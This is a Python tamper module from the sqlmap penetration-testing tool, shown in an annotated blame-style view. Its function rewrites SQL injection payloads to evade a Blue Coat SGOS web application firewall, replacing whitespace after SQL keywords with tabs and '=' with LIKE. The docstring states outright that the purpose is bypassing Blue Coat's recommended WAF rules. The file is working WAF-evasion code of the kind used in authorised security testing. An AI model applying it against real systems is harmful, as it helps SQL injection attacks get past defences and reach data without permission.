2012-11-03 22:15:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
|
|
import re
|
|
|
|
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.enums import DBMS
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
__priority__ = PRIORITY.NORMAL
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
def dependencies():
|
|
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
|
|
|
|
|
|
|
def tamper(payload, headers=None):
|
2012-11-05 16:09:53 +04:00
|
|
|
"""
|
|
|
|
Replaces space character after SQL statement with a valid random blank character.
|
|
|
|
Afterwards replace character = with LIKE operator
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
Example:
|
|
|
|
* Input: SELECT id FROM users where id = 1
|
2012-11-05 16:09:53 +04:00
|
|
|
* Output: SELECT%09id FROM users where id LIKE 1
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
Requirement:
|
2012-11-05 16:09:53 +04:00
|
|
|
* MySQL, Blue Coat SGOS with WAF activated as documented in
|
2012-11-03 22:15:22 +04:00
|
|
|
https://kb.bluecoat.com/index?page=content&id=FAQ2147
|
|
|
|
|
|
|
|
Tested against:
|
2012-11-05 16:09:53 +04:00
|
|
|
* MySQL 5.1, SGOS
|
2012-11-03 22:15:22 +04:00
|
|
|
|
|
|
|
Notes:
|
2012-11-05 16:09:53 +04:00
|
|
|
* Useful to bypass Blue Coat's recommended WAF rule configuration
|
|
|
|
"""
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
retVal = payload
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
if payload:
|
|
|
|
retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>\t", payload)
|
|
|
|
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
|
2012-11-03 22:15:22 +04:00
|
|
|
|
2012-11-05 16:09:53 +04:00
|
|
|
return retVal
|